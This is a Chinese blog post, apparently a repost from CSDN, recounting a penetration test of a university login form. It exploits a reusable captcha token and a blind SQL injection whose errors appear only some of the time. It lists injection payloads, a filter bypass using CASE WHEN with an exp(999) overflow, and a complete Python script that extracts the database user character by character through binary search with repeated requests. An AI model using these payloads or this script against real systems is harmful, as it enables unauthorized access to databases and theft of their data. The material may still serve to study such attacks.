【某某大学的探索之旅】奇怪的登录框概率性布尔报错盲注绕过

发布时间:2024年01月23日

在某某大学的探索过程中,发现了一个比较奇怪的布尔报错盲注

它这里本来登录有一个滑动验证码,token是滑动验证码每次校验生成的,从处理逻辑讲,这里的token是不能复用的,但是这里的token却是可以复用,这本来就是一个漏洞了。

这个token可以复用,就给了测试userNo的机会,加了个单引号就返回接口访问出错,但是问题来了,它有时候返回接口访问出错,有时候缺返回账号密码有误

在这里插入图片描述
在这里插入图片描述
注意时间戳(毫秒级)大概每隔几分钟就校验一次,如果时间戳校验失败即返回登陆失败

在这里插入图片描述

首先要搞清楚,这些回显,根据测试的情况猜测:

  • 账号或密码有误
    1. 普通的账号密码登录错误
    2. SQL语句成功闭合或注释并且执行了
  • 接口访问出错
    1. SQL语句本身有语法问题导致报错(如:没有成功闭合单引号或者注释后面的语句)
    2. 即使用函数构造SQL报错来做布尔判断的条件

其次考虑的问题是这里是注释还是闭合,经过测试发现注释貌似都行不通:

'and 1=1 -- 
'and 1=1 --+
'and 1=1 #
'&& 1=1 -- 
'&& 1=1 #
'and 1--+
'&& 1#
.......

都是 账号或密码有误接口访问出错 概率性回显,如果这里成功注释应该是只会回显账号或密码有误(闭合同理);

接下来尝试去闭合单引号:

'and 1=1 and'
'and 1 and'
'&& 1 &&'
'&& 1=1 &&'
'or 1 or'
'or 1=1 or'
'|| 1 ||'
.....

发现只有当payload为'|| 1 ||'时,每次回显都是账号或密码有误

在这里插入图片描述

那么就可以推测这里闭合执行成功了,也可以推测出前面payload的行不通,可能是因为存在过滤或者WAF,那么接下来就可以利用报错函数去验证这里闭合执行是否成功了。

'|| exp(708) ||'  --不会溢出报错
'|| exp(999) ||'  -- 溢出报错

exp是以e为底的指数函数,但是这个数如果大于709,就会造成溢出报错

在这里插入图片描述
在这里插入图片描述

这样就可以确定这里成功闭合执行了SQL语句,并且还确定了执行如果执行报错的话是概率性的。

不难看出以上的结果也是很明显的布尔盲注,可以构造出如果查询结果为True即执行报错函数使它报错,即概率性返回 接口访问出错;如果为False即使它正常执行,即只会返回 账号或密码有误

但是使用if在这里构造查询结果为False执行正常的语句返回两种结果的问题(正常的返回这里应该都是:账号或密码有误),进而猜测这里应该是过滤了if

在这里插入图片描述

尝试使用case when ... then ... else ... end进行绕过构造查询发现果然可行。

在这里插入图片描述

接下来只需要解决查询结果为报错函数的概率性返回问题即可,这个其实很好解决:
???????我这里处理方法就是每次Payload增加一个轮查询(比如查10次),如果这十次查询有返回 接口访问出错 那就能证明这条语句执行到了exp(999)也就是大于为True,即可成功判断。因为大于为False的情况是正常SQL不会报错,不会出现 接口访问出错。所以增加一轮样本检测即可。

综上所述,查询脚本如下:

import requests
import time

def greaterSuccessCheck(url, loginJsonData):
    greaterSuccessFlag = False
    for _ in range(10):# 增加的轮数,自行根据概率修改
        resp = requests.post(url=url, json=loginJsonData, timeout=2)
        if "接口访问出错啦" in resp.text:
            greaterSuccessFlag = True
            break
    return greaterSuccessFlag

content = ''
for pos in range(100):# 查询的内容长度
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
        url = "http://xxx.xxx.xxx.xxx/xxxxxxx"
        payload = "admin'||case when ord(mid(user(),{},1))>{} then exp(999) else 1 end ||'".format(pos, mid_num)
        loginJsonData = {"userNo": payload,
                         "password": "82b1ce8689f9696f72c082199f48f8a7",
                         "timestamp": int(time.time() * 1000),
                         "token": "791f5f76f1e84a71894ec0c5b20dce24"}
        greaterSuccessFlag = greaterSuccessCheck(url, loginJsonData)
        if greaterSuccessFlag:
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = ((min_num + max_num) // 2)
    content += chr(min_num)
    print(content)

在这里插入图片描述
在这里插入图片描述

文章来源:https://blog.csdn.net/mochu7777777/article/details/135772680
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。